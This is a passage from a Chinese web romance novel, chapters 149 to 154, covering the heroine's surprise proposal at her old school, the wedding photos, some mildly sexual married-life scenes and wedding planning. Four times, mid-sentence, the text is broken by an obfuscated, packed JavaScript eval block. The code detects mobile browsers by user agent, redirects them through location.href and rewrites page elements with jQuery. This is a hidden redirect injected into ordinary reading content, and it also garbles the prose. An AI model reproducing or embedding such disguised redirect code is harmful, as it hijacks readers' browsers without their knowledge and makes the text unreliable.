傅斯灼埋在沈珠楹肩颈处,蹭了蹭,也颇为无奈地,长长地叹了口气。 他低声也说:“——今天是大年初一啊。” “等飞机落地了给你打电话。” “嗯。” “想要什么礼物?” 沈珠楹委屈巴巴。 “随便。” “宝宝。”傅斯灼又安抚性地吻了吻她的鬓角,说,“等我回来,我们拍婚纱照。” “好喔。” “我们办婚礼。” “好喔。” “会很想你的。”傅斯灼最后吻了吻她的额头,说,“继续睡吧。” 等傅斯灼离开以后,沈珠楹抱着被子发了会儿呆,把自己整个人蒙被子里,打了个滚。 又睡了个回笼觉,下楼以后,沈珠楹嘴里咬着油条,望着窗外发呆。 随即眼前出现了一只苍老的手,晃了晃。 沈珠楹转头笑了,撒娇喊道:“奶奶。” 她立马告状,说:“傅斯灼他又去出差了!” “这傻孙子,等回来我就揍他!” 周清兰笑眯眯地配合她。 “奶奶,你对我真好!”沈珠楹欢喜得不行,抱着周清兰蹭啊蹭啊蹭。 第149章 你的到来,是个礼物 “奶奶当然要对你好啊。”周清兰低头,慈爱地摸了摸她的脑袋。 “珠珠,奶奶要谢谢你,坚持喜欢了我们阿灼这么多年。” “我们阿灼,好福气啊。” 周清兰一脸感慨地道。 她当时猛地听到他们闪婚时就觉得奇怪。 结婚是件大事,怎么会有小姑娘会愿意义无反顾地,嫁给一个才刚刚见一面的陌生人呢? 太需要勇气了。 “委屈你了,阿灼的工作性质特殊,有什么不舒服,感到委屈的地方,不要憋在心里,你们夫妻俩啊,要好好地过日子。” 沈珠楹其实在之前,一直觉得周清兰像是她的朋友。 她会笑着讨论最近新看上的小老头,看见漂亮的衣服裙子会直接送到清风园,有时候也会埋怨怎么这么长时间不来老宅看她,再然后她会去花间集,说珠珠,你不来看我,那我就只好来看你了。 但周清兰此时牵着她的手,慈爱又不失严肃,谆谆教诲,絮絮叨叨跟她说了许多,让沈珠楹头一次感觉到她是一个年纪很大的长辈。 “奶奶,您就放心吧,我一点都不觉得委屈。” “大年初二就要去上班,一走就是大半个月,珠珠,真的不委屈吗?”周清兰问。 沈珠楹思考了一会儿,然后摇了摇头,说:“不委屈的,奶奶。” “我会很期待他给我拍不同国家的月亮,分享他工作途中碰上的新鲜事,如果他正好在路上发现了一朵新奇的,很漂亮的花,我确定他会第一时间想到我。” “虽然回消息不会很及时,但是我发给他的每一句话,他都会给我回应,如果他说他马上要出差回来了,那么接下来,我就可以期待他会给我带什么样的礼物。” “他一定会给我带礼物。” 沈珠楹觉得,再不会有一个人会这么有耐心,耐心理解她藏在心底的小别扭,不开心,还有总是需要回馈。 那些遗憾的,委屈的,别别扭扭不愿意被察觉到的小情绪,都会有一双手耐心地抚平,熨烫,最后悄妥帖地放置。 “珠珠——”周清兰听她说完,似乎是松了口气,一脸欣慰地道,“他愿意跟你分享这些就好。” 周清兰重复说,他现在,愿意跟你分享这些就好。 “珠珠。”周清兰说,“你的到来,是个礼物。” —— 等到从老宅出来,去看电影的路上,沈珠楹仍然在回忆周清兰当时跟她说这句话时的神情。 温和又毫无负担的,笑得像个孩子,沈珠楹却在那一瞬间觉得她苍老。 等到了约定好的电影院,沈珠玉看到只有她一个人,拧了下眉,问:“你男人呢?” “上班去了。” “大年初一上班?”沈珠玉耸了下肩,说,“听起来命好苦。” 沈珠楹悄悄叹了口气。 可不就是命苦嘛。 “姐夫呢?” “他去取票了。” 话音刚落,徐嘉呈就迈着长腿走了过来。 他手里拿了两桶爆米花和四张票,看见只有沈珠楹一个人,轻抬眉梢,问:“阿灼呢?” 阿灼? 喊这么亲密? 沈珠楹在心底默默吐槽,嘴上却道:“上班去了。” “……这样啊。”徐嘉呈眼底颇有几分遗憾之色。 那天他与傅斯灼相谈甚欢,徐嘉呈好久没遇见跟他性格这么合拍的人了。 过了几分钟,他又一脸不甘心地问:“那他什么时候回国?” 沈珠楹:“……半个月左右。” “这么久?”他更遗憾了。 沈珠楹一瞬间占有欲大爆发。 “……姐夫你够了!” 怎么比我还关心我老公。 沈珠玉也一脸不爽地道:“徐嘉呈你够了!” 到底在遗憾些什么啊! 幸好电影很快开始了,是一部由徐彦洲执导的悬疑喜剧片,叫《生死镜》,整整两个半小时,毫无尿点,笑与泪并存。 电影院结束以后,还有人迟迟不愿意离开。 电影的口碑很快在网上开始发酵,某瓣上一开分就是9.1,是近几年开分最高的华语电影。 口碑爆棚的同时,电影的票房也一天比一天高,预测票房已经突破了四十亿大关。 彼时沈珠玉正坐在花店前台,百无聊赖地刷手机,一看到这个预测票房,“操”了一声,咽了下口水,抬头看向正在一旁浇花的沈珠楹。 “咱妈之前是不是说过,跟徐叔叔结婚以后,这部电影赚得钱都是她的?” “对啊。” “40亿。” “什么40亿?” “沈桉女士临时起意结个婚,赚了40亿。” 沈珠楹停下浇花的动作,也同时咽了下口水:“那我们现在……是不是富二代了?” 沈珠玉立刻变脸,笑眯眯地道:“当初妈说要跟爸结婚,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361714|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是举双手双脚赞成的。” 沈珠楹:“……” 这就改口叫爸了? 呵,毫无骨气的女人。 就这么为了区区五斗……不对,是四十亿。 她立刻一脸严肃地附和道:“当初我就劝妈早点跟爸结婚。” —— 傅斯灼出差的第九天,李清雯笑眯眯地来店里找她。 “珠珠宝宝——”她一头飒爽的短发,却拖长了嗓子,一副撒娇的模样。 “雯雯姐。”沈珠楹根本受不住美女撒娇,一脸无奈,“你有事就直说,能帮忙我一定帮。” “我最近想拍一组校园风的写真,需要一位甜美漂亮的模特,来拍吗?我的缪斯女神。” 眼见沈珠楹迟疑,她再接再厉地道:“不是马上就要拍你跟傅斯灼的婚纱照了嘛,你不想提前见识见识我的技术吗?还可以提前适应一下镜头,多好啊,是不是?” “而且珠珠你真的超级漂亮,明天天气也很好,二十度左右,有很多漂亮的裙子。” 沈珠楹蓦地抬眼,眼睛一亮,捕捉到关键词:“有很多漂亮的裙子?!” 李清雯点点头。 “太棒了!我明天有空!” —— 沈珠楹在当晚跟傅斯灼通电话的时候,手舞足蹈地跟他分享了这件事。 “好可惜啊傅斯灼,你看不到穿漂亮裙子的我了。” 沈珠楹那会儿趴在床上,刚洗完澡,还带着水汽的,湿漉漉的大眼睛凑近镜头,一脸雀跃又得意地说。 “为什么看不到?”傅斯灼仍然是西装革履,背景大约是某间待客室,眼底有几分未卸下的冷淡与疲惫,却在抬眼时瞬间化为温暖笑意。 “因为你现在在遥远的北欧啊。”沈珠楹说。 傅斯灼松了松领带,声音彻底柔和下去。 “我明天回来。” “真的吗?” “真的。” “哦。”沈珠楹使劲忍住嘴角往上翘的冲动,一脸傲娇地道,“那行吧,算你走运。” “你很期待明天吧,傅斯灼,可以看到穿漂亮裙子的我。” 傅斯灼眼也不眨地盯着她看,安静又柔和地,不知为何,明明隔着屏幕,却仍然让她感到脸红心跳。 心脏“噗通——” “噗通——” 震耳欲聋。 她听见傅斯灼说。 “珠珠,我从未如此期待过明天。” 第150章 有人在等你 沈珠楹当然看见了他眼底最真切的期待。 她怔住,随即懵懂笑了,说:“我穿裙子很漂亮的,傅斯灼,也不怪你这么期待。” “那你飞机几点落地啊?” “下午三点。”傅斯灼说。 “那你会给我带什么礼物呢?”沈珠楹托腮,更凑近屏幕一些,晃着脑袋问他。 “宝宝,你可以猜一下。” 沈珠楹猜了好几个,都被他否认了。 她最后脑袋蒙在枕头里,迷迷糊糊地说。 “好难猜啊,傅斯灼,我要睡觉了。” 反正明天下午三点多就能知道了,她一点也不着急。 因为某人昨天把她胃口吊得很高,所以沈珠楹一整天都在期待。 她挠了挠大胖橘的下巴,小声跟它说话。 “猪猪,明天你爸爸就要回来了,你猜它会给妈妈带什么礼物?” 大胖橘趴在前台猫架,懒懒地“喵呜——”一声。 “你也觉得是一种很珍惜的花,对吧?傅斯灼现在应该在飞机上了吧,猪猪,你是不是也很想你爸爸呀?” 大胖橘没喵了,只翻了个白眼。 “可惜我跟雯雯姐是约的下午两点拍校园写真,不能第一时间见到他了。”沈珠楹自顾自地,继续小声嘟囔。 下午一点半左右,她来到了李清雯的工作室。 李清雯一看见她,热情冲她招手,一脸兴奋地道:“珠珠!快过来试漂亮裙子!” 帘子一拉开,沈珠楹看到里面一席盛大的红色婚纱,整个人愣了一下。 “雯雯姐,不是说校园写真吗?怎么会有……” “有谁规定校园写真就不能穿婚纱吗?” “好像没有……不过……” 李清雯一脸紧张地看向她:“……不过什么?” “这个婚纱上面的钻是真的吗?”沈珠楹又问。 看上去简直壕无人性啊。 李清雯:“……” “包真的。” “你的工作室这么有钱?这个租一天要多少钱啊?” “哎呀你就别管了!” 反正是你老公付钱。 李清雯在心里默默吐槽一句,幸好这姑娘心大。 她随即推她进去,一脸迫不及待地道:“快试试呀珠珠,你穿上一定很好看。” 中途因为婚纱的穿法太复杂,沈珠楹还特意求助了李清雯,结果…… “啧啧,我们珠珠,这腰,这屁股,傅斯灼好福气啊……” “好漂亮啊珠珠。” 话是这样说没错…… 只是…… 换衣间里传来了沈珠楹略显慌乱和羞恼的声音。 “雯雯姐你摸哪儿呢,我是叫你帮我系后背的扣子!?” 不是叫你乱摸! 李清雯充耳不闻。 “……啧啧,这皮肤怎么这么细嫩啊珠珠。” “……” 兵荒马乱地换完婚纱,沈珠楹坐在化妆镜前,任由化妆师在她脸上捣鼓。 中途昏昏沉沉地闭眼,沈珠楹做了个梦。 她梦见那年仲夏夜,她满脸羞涩地送给他属于自己的那枝石榴花,转身想跑的时候,却被他松松攥住了手腕。 他垂眸看向她,眼底笑意汹涌。 “这位同学,能认识一下吗?” 再一眨眼,傅斯灼站在万众瞩目的舞台上,他调整耳麦,鼓棒热烈往下一敲,敲响了十六岁那年夏天的风。 被化妆师姐姐小声喊醒的时候,沈珠楹心底还残留着那年未尽的心跳声。 她一抬头,看向镜子里的自己,整个人呆住。 真的不是她自恋,但是…… 世界上怎么会有这么漂亮的人! 她站起身,转头望向身后的全身镜。 镜子里的女人一席红色婚纱,乌黑的发丝被挽成一个公主头,还戴了一顶红宝石王冠,一席裙摆繁复重叠,妆容明艳精致,五官更是秾丽。 只一眼看过去,就是掩不住的绝色风华。 一旁的化妆师姐姐感叹道。 “沈小姐,您先生的眼光真好,这件婚纱很衬您。” 沈珠楹“啊——”了一声,说:“不是他挑的,不过他现在应该已经快要下飞机了。” 化妆师姐姐愣住,随即反应过来,一副说错话的表情,捂住了自己嘴巴。 沈珠楹眨了下眼睛,终于迟来地感觉到了一丝不对劲。 她开口正要说些什么,就接到了傅斯灼打给她的电话。 她眼睛一亮,脑子里好不容易察觉到的东西一下被她扔到九天云外了,乐颠颠地接了电话。 “傅斯灼。”她望着全身镜里的自己,语气轻快,迫不及待地跟他分享,“我今天超级漂亮,好开心呀。” “超级漂亮啊。”傅斯灼轻笑着说,“开心就好。” “你要来找我吗,傅斯灼。”沈珠楹小声地强调道,“我现在真的超级漂亮。” “好。”傅斯灼沉默片刻,问她,“你现在在哪里?” “我在雯雯姐的摄影棚啊,不过等一下应该就要去京北附中了,她说要去那里拍校园写真。” “你直接来京北附中找我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368758|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,傅斯灼。” 傅斯灼应了声好,停顿几秒,他声音更柔和地道:“我会把送给你的礼物也一起带过来。” 就因为傅斯灼的这句话,沈珠楹在去京北附中的路上,一路都非常雀跃。 她望着车窗外的蓝天白云,明媚的太阳,还有绽出新芽的绿枝,在心底默默地想。 春天好像真的要来了。 刚一下车,李清雯拎着自己手里的相机,二话不说,火急火燎地就跑了,只留下一句—— “珠珠,你自己先去吧,我尿急,去上个厕所!” 沈珠楹连句话都来不及说,只目瞪口呆地望着她扛着摄像机匆匆逃离的背影,再次在心底感叹—— 雯雯姐动作真快。 女人中的女人! 她走到京北附中门口,原本以为附中的保安大叔会再次拦住她,却没成想他一看见她,咧开嘴,笑了,说:“小姑娘,今天漂亮的嘞。” “谢谢保安大叔,你今天也很帅。”沈珠楹弯眸,语调甜甜的。 “跟你老公比还是差了点。”保安大叔把闸门打开,脸上挂着一抹善意的笑容,“快进去吧,小姑娘。” 沈珠楹抱着红色婚纱裙摆,缓步走进了附中校园。 京北附中现在还没开学,偌大的校园如今很安静。 只是京北附中的樱花今年又开了,千束万束,绽放在枝头,春风一吹,飘落满地,撒在了沈珠楹红色的裙摆上。 沈珠楹望着这一幕,突然很迫切地想见到傅斯灼。 她正想给他打电话,问他有没有到,就注意到附中的某一棵樱花树下睡了一只肥嘟嘟的橘猫。 猪猪? 它怎么会在这里? 她眼睛一亮。 太棒了!是傅斯灼来了! 沈珠玉拎着裙摆跑了过去,抱起大胖橘,笑意盈盈地问:“猪猪宝宝,怎么只有你这只猫,你爸爸呢?” 大胖橘慢悠悠地醒来,慢条斯理地打了个哈欠,随即从她身上跳了下去,胖爪子一抬,示意她跟上。 沈珠楹一路跟着它走,慢慢走过了一条铺满粉色樱花的鹅卵石小路,直到前方隐隐约约传来欢笑声,她才迟来地感觉到不对劲。 她绕过最后一条鹅卵石小路,来到天鹅湖,视线骤然敞亮。 天鹅湖边围满了熟悉的人,是她的亲人,还有朋友们。 他们笑着朝她招手。 “珠珠,快过来!” 有人在等你。 紧张地—— 雀跃地—— 满怀期待地—— 等了很久。 第151章 你愿意嫁给我吗? 沈珠楹捂住嘴,整个人呆在原地。 “快过来呀珠珠!” 一群人笑着,再次善意地催促。 沈珠楹才终于如梦初醒。 她一步一步走过去,感觉自己像走在了云朵上,轻飘飘地。 直到沈桉走到她面前,捧住她的脸,替她擦去不知什么时候,早已冒出来的眼泪。 “珠珠,我的女儿。” 她轻轻摸了摸沈珠楹的耳朵,眼泪涌出,她一无所知,只低声说:“妈妈真替你高兴,真的。” 沈桉其实总是会记得那年运动会。 十六七岁对我小姑娘兴冲冲地拽着她的手,去小卖部买了两罐橘子汽水,递给她一罐,一脸羞涩又小声地说:“妈妈,我发现他超喜欢喝橘子汽水。” “你也尝尝看,味道超级好。” 沈桉当然知道“他”是谁,在周六周日的母女夜话时间,她总是这样小声又羞涩地提起他。 “诶呀,不知道时间还来不来得及。”沈珠楹拉着她的手,再次赶回操场,气喘吁吁地说,“不知道他的项目结束没有。” 项目没有结束,沈桉眼睁睁地看着那名少年夺冠,看着他热烈又夺目,被鲜花与簇拥包围,看着他礼貌拒绝其他女生递过来的橘子汽水,拎着自己买好的那一罐,仰头喝了一口,懒散笑着,跟旁边的男生击了个掌。 而她的女儿站在原地,拎着那罐橘子汽水,泄了口气,最终也没敢过去。 “珠珠,怎么不过去?” “就是……也许还不到时候,我还不够特别,妈妈。” 她现在……跟那些被他礼貌拒绝的无数个女孩子,没有区别。 “怎么不够特别?”沈桉突然就有点生气,拽着她的手,说,“珠珠,你最特别。” “因为你爱我啊妈妈。”沈珠楹仰头冲着她笑。 因为你爱我,所以会觉得这个世界上,我最特别。 而沈桉在此刻,替沈珠楹理了理裙摆,哽咽着道:“珠珠,恭喜你——” 话音落下的下一秒,她让出一条道,把沈珠楹往前推了推,说。 “——现在你最特别。” 鼓声响起的那一秒,沈珠楹下意识地往台上看,视线凝住,随即鼻子一酸,眼底热泪瞬间喷涌而出。 是已经二十七岁的傅斯灼。 他穿了件白衬衫,坐在红色架子鼓前,麦克风横放,深深看她一眼,偏头笑出酒窝,随即“砰——”的一声响。 熟悉的前奏响起。 一如初见。 是十六岁那年仲夏夜的风—— 时隔十一年,终于又吹回来了。 他横握住话筒,专注哼着歌,像是在回应她在那些年,无处诉说的少女心事。 “夏天的风我永远记得 清清楚楚的说我爱你 我看见你酷酷的笑容 也有腼腆的时候 夏天的风正暖暖吹过 穿过头发穿过耳朵 你和我的夏天 风轻轻说着” 直到傅斯灼站起身,眼眶微红,缓步走到她面前时,沈珠楹才终于反应过来。 她强压着哽咽,抬眼看向他,问:“傅斯灼,你是要跟我求婚吗?” “是。” “那你怎么不说话?我妆都要哭花了。” “珠珠,我有点紧张。”傅斯灼无奈笑了。 他深吸一口气,手在发抖,从口袋里摸出一个红色的盒子。 盒子打开,一枚戒指静静地躺在里面。 戒指中央镶嵌了一颗红宝石,被雕刻成了花瓣状。 不是玫瑰花瓣,沈珠楹知道,那是石榴花花瓣。 而在下面,她的亲人和好朋友们爆发出欢呼起哄声,其中就数黄奕萱喊得最欢,她站在底下,哭得比两位当事人还撕心裂肺。 一旁的柯以刚从台上下来,好久没当键盘手了,他这会儿心情颇好,一脸莫名其妙地看向她。 “大好的日子,你哭什么?” “呜呜呜呜……是石榴花……是夏天的风……是天鹅湖……呜哇哇……” 黄奕萱哭得上气不接下气。 “你懂个屁!” “傅斯灼……这小子……他也太会了……呜呜呜呜……” 柯以:“……” 莫名其妙。 而在台上,傅斯灼垂眸,专注看向站在他面前,哭得上气不接下气的姑娘,开口正要说些什么,她就低着脑袋,把自己手上原本的那枚戒指扒拉下来,说:“我愿意的,傅斯灼。” “你说什么我都愿意。” 沈珠玉在台下看着自家妹妹那不成器的便宜样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381671|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气得不行,抬高了声音喊道:“沈珠楹!你能不能有点骨气,人家还没问你呢?” “……还没问吗?” 沈珠楹呆住,眨了眨眼睛,眼泪又滚下来。 “哎呦,我的沈珠珠!”李凝在底下笑得不行,“你也太迫不及待了。” “哦。”她看向傅斯灼,有点不好意思,小声道,“那你快问呀!” “怪我们阿灼,怪我们阿灼!动作太慢了。”周清兰望着这一幕,笑容慈爱。 陈婉君也站在一旁看着,眼底早已不复原先的童真懵懂,反而温和而又淡然,眼底含着笑意。 “怪我,是我动作太慢。” 傅斯灼再次深吸一口气,拿起戒指,在她面前单膝下跪,仰头看向她。 “珠珠,也许我们需要一个更慎重的开始。” 在这个十六岁初见的地方,我想我应该再次回到这里,一路往前走,走过那漫长又寂寥的,你的来时路,再然后我才有资格对你说出这句话—— “沈珠楹。”他一字一顿,缓缓开口道,“你愿意嫁给我吗?” 沈珠楹哭着看向他,眼前的身影分明一片模糊,却又无比清晰。 是意气风发的傅斯灼。 是成熟稳重的傅斯灼。 是永远真挚的,诚恳的—— 傅斯灼。 我想我只会为这样的你心软。 她伸出手,轻声道:“我愿意。” 当傅斯灼把戒指套在沈珠楹手上的时候,因为都是熟人,原本还在起哄,这会儿却突然安静了下来。 大约是真的,那种失而复得的欣喜,太让人感到动容了。 直到沈珠玉突然反应过来,问了句:“猪猪呢?” 珠珠? 沈珠楹这会儿被傅斯灼抱着,懵懵地举起手,说:“珠珠在这里呀。” “……不是你。”沈珠玉一脸无语地道,“是你自己家养得那只猪。” 于是求婚结束后,一群人浩浩汤汤地去找猪,最终还是小春和小桃在石头缝里找到了被卡在里面的大胖橘。 两个小姑娘邀功似地把大胖橘递到了沈珠楹面前,眼睛亮亮的,小心翼翼地冲他们比划道。 “老板和老板夫,婚礼也可以邀请我们吗?” “我们很乖,不会像猪猪一样乱跑的。” 第 153 章 我的傻珠珠 “当然可以啊。”沈珠楹接过大胖橘,冲她们认真比划道,“你们也是我的好朋友。” 于此同时,李清雯开始招呼他们过去拍婚纱照。 一开始是拍大家的合照。 “三、二、一——” 一群人,蓝天白云,笑靥如花,照片定格。 李清雯在把照片洗出来之前,盯着那张照片看了许久,最后低着头笑了。 真好啊,照片里面的每一个人,都笑得很开心。 傅珩此时揽着陈婉君的肩,小心翼翼地喊了她一声。 “婉君。” 陈婉君转头看向他,轻轻嗯了声。 “婉君,是你吗?你回来了,对吗?” 他嗓音轻颤着,不自觉发抖。 他等这一天,等了太久太久了。 陈婉君轻轻将自己额角的发丝,勾入耳后,偏头看着眼前的男人,眼底神色复杂。 “是我,我回来了。” 她轻声道:“傅珩,这些年,你老了好多。” “这么多年,辛苦了。” 傅珩摇了摇头。 他叱咤商场多年,一向雷厉风行,此刻竟然有些说不出话来。 他深吸一口气,眼底压抑着激动之色,最终他举重若轻地摸了摸她的头,笑了,说:“没有,我不辛苦。” 他只是等这一天,好久了。 但是在下一秒,他眼底的笑意便僵住。 陈婉君一脸平静地对他说。 “傅珩,我们离婚吧。” —— 拍完婚纱照,回到清风园的时候已经很晚了。 本来按理来说,两个人应该都很累了,更何况傅斯灼才刚从国外赶回来,还没倒时差。 但是…… 一踏入门内,两道身影就紧紧地贴合着彼此,气息紊乱又炙热,两个人瞬间吻得难舍难分。 沈珠楹被男人压在门上,腰被紧紧掐着,她勾着男人的脖子,心跳如擂鼓,仰着头迎合。 “宝宝——” “老婆——” 他伏在她耳边,低低喘着气,声音性感又难耐,灯还没来得及开,他揽着她的腰将她横抱起,说宝宝,我们上楼。 “等……等一下……” 沈珠楹这会儿脑子已经不清醒了,但仍然记得自己已为猫母。 她用自己残存的一点良心,紧紧揪着男人的白衬衫,弱弱说了句。 “先开门。” “怎么?” “猪猪……它好像……被我们关在门外了。” 刚刚他们才把门打开,就吻在一块儿了,顺势压着门关上,猪猪都没来得及进来。 傅斯灼:“……” 果然,门一打开,大胖橘团在门口的地毯上,无尽幽怨地“喵——”了一声。 它似乎是有点生气,就团在门口不愿意进去。 傅斯灼没什么耐心地提溜着它的后脖颈,随即把它往旁边的猫架子上一扔,关上门,再度抱着沈珠楹上了楼。 那两天过得有些日夜颠倒了。 沈珠楹甚至觉得……该倒时差的应该是她吧!!! 那天不知道是几点了,窗帘紧闭,电视开着,两个人本来在正正经经地在看,这会儿不知道怎么,莫名其妙地,两个人的影子亲密地印在地毯上,急切又缠绵。 “傅……斯灼……” 傅斯灼掐着她的腰,专注又隐忍地,嗯了声。 “我觉得……我们最近……有点儿……嗯?” 沈珠楹突然说不下去了,声音变了调。 罪魁祸首笑出声,学她说话。 “有点儿……嗯?”语调恶劣上扬。 “傅斯灼!” “嗯。”他笑了。 “我是说我们最近……有点过……嗯……了……”她坚持说完。 “哪里过了,宝宝。” 他埋头咬她的锁骨,低声说听不懂。 电视上不知道什么时候,开始放新闻联播了,于是沈珠楹在昏昏沉沉中想,原来晚上七点多了。 沈珠楹其实没怎么留神去听,但没办法,某人的声音对她有天生的吸引力。 听着新闻上正经清冷的汇报声,沈珠楹再低头,看他此时眼底不加掩饰的欲望,不知怎么,她突然感觉自己在犯罪。 于是她害羞地埋在男人肩头,低低又小声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385027|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地喊他,傅斯灼。 傅斯灼。 好爱你呀,傅斯灼。 两个人开始得匆忙,衣服都没脱完,傅斯灼西装西裤都完整,只是黑衬衫和领带被她扯得有点凌乱,而沈珠楹穿了一条高腰牛仔吊带裙,配套的针织开衫被傅斯灼解开扔到了一旁。 正经古板的新闻还在放,只是室内氛围火热,夹杂着或轻或重的喘声。 等一切结束,傅斯灼将空了的盒子扔进垃圾桶,颇有些为难地道:“珠珠,要不我们换个超市去买。” 饶是他脸皮厚得很,也委实有点受不住每次去的时候,前台那小姑娘拿看渣男一样的眼神看他。 沈珠楹埋在他胸前,听了他这话,笑得不行。 “你有病,傅斯灼。” “不过确实要换一家。” 她也有点受不住了,后面她还特意跟那姑娘说,他们是领了证的真夫妻,这妹妹还死活不信。 她专注地在男人锁骨上画圈圈,电视上新闻早就结束了,这时候电视剧都放了一大半,是一部霸道总裁的剧。 又土又上头。 上头到沈珠楹放弃傅斯灼的锁骨,转头开始认真地看霸道总裁。 霸道总裁正在强制爱。 他扑到娇弱小白花女主身上,紧接着…… 他撕开了小白花女主的绒裤,棉裤,秋衣秋裤…… 诶呦…… 沈珠楹忍不住笑出声,她突然想起某人前两天还一脸严肃地监督她穿秋衣秋裤,于是清咳一声,一本正经地道:“现在知道不穿秋裤的好处了吧?” “……什么好处?”他趴在她身上笑。 “就是……方便那个呀。” 她一边说着,一边托起男人的下巴,让他看自己身上的牛仔裙,一脸暧昧地强调道:“方便……那个。” “……哪个?”他一脸无辜清白,还在装傻。 “你装什么!不懂吗?”沈珠楹气得不行,憋了半天,最后说,“就是……方便我上厕所呀!” “这都不懂!” 傅斯灼愣住,随即眼底笑意更加明显,他肩膀轻颤着。 “诶呦,我的傻珠珠——” 第154章 坏了!没来! “怎么老说我傻?”沈珠楹不高兴了。 傅斯灼盯着她瞧了半晌,一双深情眼,在灯光下看着格外亮。 他指尖插入她柔软的发丝,轻轻揉了揉,眼底笑意汹涌。 “那就是我的聪明珠珠。” 沈珠楹:“……” 脸再次爆红。 这个世界上怎么会有傅斯灼这么会的人啊! 沈珠楹在过了好几天以后,蓦然想起他说出这句话时的表情,也仍然忍不住会脸红。 她一边包花,一边小声道:“真会啊傅斯灼,可恶可恶,竟然比我还会,到底学的哪个恋爱博主?” “珠珠老板。”客人笑着接过花,听到她嘴里的话,说,“这才一上午,就又开始想你的老板夫了?” 不知道从什么时候开始,相熟的客人们都学着小春和小桃,开始喊傅斯灼叫老板夫。 “哪有?”沈珠楹一如既往地嘴硬。 “没有吗?可是老板夫好像提前下班了。” “真的吗??” 沈珠楹眼睛亮亮地,瞬间抬头看向门口。 那里空无一人,只是整个花店内瞬间爆发出欢笑声。 “当然是假的。” “珠珠老板,你又暴露了。” 花店里的客人们都笑着说。 沈珠楹:“……” 她脸涨得通红。 怎么又逗她玩?!!! 可恶! 今天不打折了!!! 傅斯灼下午来接她下班的时候,不出意外地就收到了店里其他客人善意调侃的目光。 他**以为常,只是…… 傅斯灼一脸莫名地揽着沈珠楹的肩,低声问:“怎么不理我?” 沈珠楹瞪他一眼,凶巴巴地道:“你离我远点,暂时不想看见你。” 哼哼你个花蝴蝶精! 悄咪咪给我洒花粉了吧!! 她一脸无情地推着他进了里间,说:“去里面待着,没什么事别出来。” 傅斯灼:“……” 日子就这样慢悠悠过去,春日迟迟,在窗外的紫罗兰抽出新芽的时候,傅斯灼开始有条不紊地筹办两个人的婚礼,沈珠楹当然在其中也起了大作用。 她负责邀请她的朋友们来参加婚礼。 沈珠楹支着脑袋坐在前台,手里拿了支笔,一个一个地把想要邀请的人都写出来。 可是…… 她开始苦恼。 朋友太多了也不好,怎么不知不觉地,要写这么多份请柬呢? 虽然不是她写,但是傅斯灼写也很辛苦啊。 她开始想,要不要删掉几个呢? 但是…… 这个是她的小学班主任,陈老师,那年数学不及格,很害怕的时候,她笑着在她脸上贴了一朵小红花,所以不能删。 这个是附中的食堂阿姨,她总是会给她多打一勺菜,偶尔还会偷偷给她留一个鸡腿,所以也不能删。 这个是周琴琴,虽然她扔掉了她的石榴花,但是…… 沈珠楹就这样删删减减,纠结了一整个上午,最后参加婚礼的名单又多了好几十个。 沈珠玉过来找她的时候,望着她纸上那密密麻麻的人名,乐得不行。 “呦,您老在这儿报菜名呢?怎么不把接你生的护士姐姐也写进去。” “我也想啊,可是我没她联系方式。”她看向沈珠玉,一脸认真地问,“你有吗?” 沈珠玉:“……” “人家都一大把年纪了,还要来随份子,是不是不太合适。” “我跟傅斯灼的婚礼不收份子钱啊。”沈珠楹晃着脑袋,一脸向往地说,“我们已经商量好了,来参加婚礼的人,只要带上请柬,和最喜欢的花就可以了。” “非常浪漫的一个主意。”沈珠玉一脸无情地道,“但是我不同意。” “你为什么不同意?” 沈珠玉振振有词:“知道妈这些年随出去多少份子钱吗?好不容易办次酒席,不得一次性收回来?” “我们家今年好像不差酒席。” 一结就结了三个,她都怕别人觉得她们家骗份子钱。 沈珠楹趴在桌子上,望着纸上面密密麻麻的人名,一瞬间觉得上面写的东西还真挺像菜名的。 她默默咽了咽口水,说:“我想吃李姨,小春小桃,陈老师……” 沈珠玉额角一跳:“说人话!” 